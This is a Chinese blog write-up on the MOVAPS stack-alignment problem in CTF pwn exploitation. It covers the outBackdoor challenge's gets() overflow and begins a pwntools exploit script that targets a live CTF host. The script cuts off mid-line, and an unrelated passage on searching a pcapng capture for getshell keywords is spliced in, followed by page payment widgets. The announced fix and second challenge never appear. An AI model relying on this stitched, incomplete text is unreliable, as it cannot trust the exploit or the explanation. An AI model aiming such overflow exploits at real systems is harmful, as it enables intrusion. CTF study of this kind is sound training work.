【CTF大赛】100步getshell之就差一步——The MOVAPS issue

本文介绍了在CTF比赛中遇到的The MOVAPS issue,该问题导致在栈溢出攻击中即使获取了system地址也无法成功执行shell。文章分析了问题原因,涉及到Ubuntu 18.04的GLIBC函数对栈16字节对齐的要求,并通过两个CTF挑战(DownUnderCTF2021-outBackdoor和Tamilctf2021-Nameserver)的例子说明了解决方案,即在调用GLIBC函数前确保栈对齐。

在这里插入图片描述
当你完美的在栈上进行了布局,泄露了libc的地址,并且在libc中获得了syetem地址,获得了’/bin/sh’地址,此时此时就差一步sendline就打通了,可是你忽然发现,什么?为什么system失败了?地址也对啊,检查了一遍又一遍,全部都对啊。

此时的你开始怀疑,是不是Server上用了个新的libc?是不是地址获取错误?总之一万个问题向你来袭。但其实可能就只是一个retn解决的问题,在最后一步绊倒了你。这个问题其实就是The MOVAPS issue

问题的起因

首先放上小明同学最近遇到的两个题目:

Tamilctf2021,pwn,Nameserver
DownUnderCTF2021,pwn,outBackdoor
有兴趣的小伙伴可以看看这两个题目。两个题目很相似,都是栈溢出,控制了eip.但是!都拿不到shell!!气人不

DownUnderCTF2021-outBackdoor

DownUnderCTF中简单很多,直接提供了一个outBackdoor函数

保护机制

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF
 
  buffer_init(argc, argv, envp);
  puts("\nFool me once, shame on you. Fool me twice, shame on me.");
  puts("\nSeriously though, what features would be cool? Maybe it could play a song?");
  gets(v4);
  return 0;
}
int outBackdoor()
{
  puts("\n\nW...w...Wait? Who put this backdoor out back here?");
  return system("/bin/sh");
}
 
//main的v4栈结构
-0000000000000010 var_10          db 16 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

很简单,栈溢出,根据main的栈结构,我们知道只需要填充0x10+8个数据,就可以覆盖到eip。

是不是很简单?exploit如下:

#!/usr/bin/python
#coding:utf-8[/size][/align][align=left][size=3]
from pwn import *
 
context(os = 'linux', log_level='debug')
local_path = './outBackdoor'
addr = 'pwn-2021.duc.tf'
port = 31921
 
is_local = 1
 
if is_local != 0:
    io = process(local_path,close_fds=True)
 
else:
    io = remote(addr, port)
# io = gdb.debug(local_path)
 
elf=ELF(local_path)
p_backdoor=elf.symbols['outBackdoor']
 
p_main = elf.symbols['main']
p_system = elf.symbols['system']
p_bin_sh = 0x4020CD
要从CTF.pcapng文件中获取getshell相关信息,可以采用以下方法: ### 利用Wireshark进行分析 Wireshark是一款强大的网络数据包分析工具,可按如下骤操作: 1. **打开文件**:启动Wireshark,选择“文件” - “打开”,选中CTF.pcapng文件打开。 2. **过滤HTTP请求**:getshell通常会通过HTTP协议传输数据,在过滤框中输入 `http` 过滤出所有HTTP请求。 3. **查找关键字**:在过滤后的数据包列表中,查找与getshell相关的关键字,如 `cmd`、`system`、`exec`、`phpinfo`、`eval` 等。可通过 “查找数据包” 功能(快捷键 `Ctrl + F`),在 “显示过滤器” 中输入关键字进行查找。 ```plaintext # 示例查找关键字 cmd system exec phpinfo eval ``` 4. **分析请求和响应**:找到包含关键字的数据包后,查看HTTP请求和响应的详细内容,分析是否存在异常的命令执行或文件上传操作。 ### 使用Tshark进行命令行分析 Tshark是Wireshark的命令行版本,适合批量处理和自动化分析。以下是使用Tshark查找关键字的示例命令: ```bash tshark -r CTF.pcapng -Y "http" -T fields -e http.request.full_uri -e http.response.content | grep -i "cmd\|system\|exec\|phpinfo\|eval" ``` 上述命令将过滤出所有HTTP请求和响应,并查找包含指定关键字的内容。 ### 编写Python脚本分析 借助Scapy库可以编写Python脚本来分析pcapng文件,以下是一个简单示例: ```python from scapy.all import rdpcap packets = rdpcap('CTF.pcapng') for packet in packets: if 'TCP' in packet and 'Raw' in packet: payload = str(packet['Raw'].load) keywords = ['cmd', 'system', 'exec', 'phpinfo', 'eval'] for keyword in keywords: if keyword in payload.lower(): print(f"Found keyword '{keyword}' in packet: {packet.summary()}") ``` ### 分析文件上传和命令执行 getshell通常伴随着文件上传或命令执行操作。可查找包含文件上传的POST请求,分析上传的文件类型和内容;同时查找包含命令执行的GET或POST请求,分析执行的命令。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值